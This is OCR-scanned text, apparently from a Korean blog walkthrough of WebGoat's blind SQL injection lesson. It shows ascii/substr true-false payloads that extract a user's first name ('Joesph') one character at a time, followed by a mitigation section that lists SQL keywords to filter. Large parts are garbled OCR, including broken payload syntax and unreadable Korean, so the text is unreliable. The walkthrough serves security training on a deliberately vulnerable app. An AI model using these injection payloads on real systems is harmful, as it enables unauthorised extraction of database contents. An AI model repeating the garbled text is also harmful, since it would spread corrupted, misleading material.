i
I

15613 and ascii({substr({select first_name from user_data where userid=15613),5,1)) 113 &
15613 and ascii{substr{{select first name from user_data where userid=15613),5,1)) 112 HA

ascii{substr{{select first_name user data where userid=15613}),5,1))

CtHd B 2X8 OtAJIRE= 115 0122 OA B2 A= 'p'

Solution VideosThe form below allows a user to enter an account Restart this Lesson
number and determine if it is valid or not. Use this
form to dewvelop a true / false test check other entries in the database.

Reference Ascii Values: 'A' =65 'Z' =90 'a' = 97 'z’ = 122
The goal i= to find the value of the first_name in table user_data for usend 15613, Fut the

discovered name in the form to pass the lesson. Only the discovered name should be put into
the form field, paying close attention to the spelling and capitalization.

Enter your Account Number: i15513 and aSl:iiI:SL.IbST.r([SEE[ Gol ]

Account number is valid

15613 and ascii(substr({{select first name from user_data where userid=15613),6,1)) <
15613 and ascii(substr({{select first name from user_data where userid=15613),6,1)) <
15613 and ascii(substr({{select first name from user_data where userid=15613),6,1)) <
15613 and ascii{substr{(select first name from user_data where userid=15613),6,1)) < 185 &l
15613 and ascii(substr({{select first name from user_data where userid=15613),6,1)) <
15613 and ascii({substr({{select first name from user data where userid=15613),6,1)) <

ascii{substr{{select first_name user_data where userid=15613),6,1))

HA Bl 22X OtAIIDRE= 104 0122 A BM2X= 'h

Ol ot 2SS X&otH, first_name 2 g2
'‘Joesph' 0| ELICtH
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Solution VideosThe form below allows a user to enter an account Restart this Lesson
number and determine if it is valid or not. Use this
form to develop a true / falze test check other entries in the database.

Reference A=scii Values: 'A'=65'Z' =890 '3a"' =97 '2' = 122

The goal is to find the value of the first_name in table user_data for userid 15613. Put the
discovered name in the form to pass the lesson. Cnly the discovered name should be put into
the form field, paving close attention to the spelling and capitalization.

* Congratulations. You have successfully completed this lesson.

Enter your Account Mumber: !JDESph ||_ Ga! ]

elsd

0K

WebGoat 2| blind sql injection 2XIZ0|% &LICH
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0x05. To be safe from this problem

AD
x
b
i)
1

SAEA Blind SQL Injection SZ0| A0l CHolAM = H2ota

@
=
a
wn
S)
<

njection 2HCZ2H tFMXID| A E HelE BHEELUYE
2ot AU =NR2H %O0tokF &LICEH

HdEEE2 3US db & HSot= HOIXIOF JATHH L2 UM S22 EHE

HXIA ol OF&rLICt.

HEE ZHEEGAY dbl B2 FEZAHUL _JF_’—‘.*EIEB\*% RO £ JUSLICH

union, select, from, where, limit, or, and, ||, &&, (, ), <, >, insert, update,

delete, create, drop & SQL &= & Xlot= uH._E Bt=0 HiEst Al2!

$_REQUEST AIH THEI W OHXIGHH SQL INJECTION=S 2 XI5t AHEE XL

ot S&HE LGS GtH 25D, SEXH22 SQL INJECTION 2 2o E

o

T, SR8 A2 A2t HEM ool tet 328 20HF0AE 2ELICH
X

HEE0] Oidd 22 222 FHLlAHEE Ao HHE01%.
MHZEIN2S0| AHE AHEALIE SHAF=U2AIY EASUICH

PRIDE
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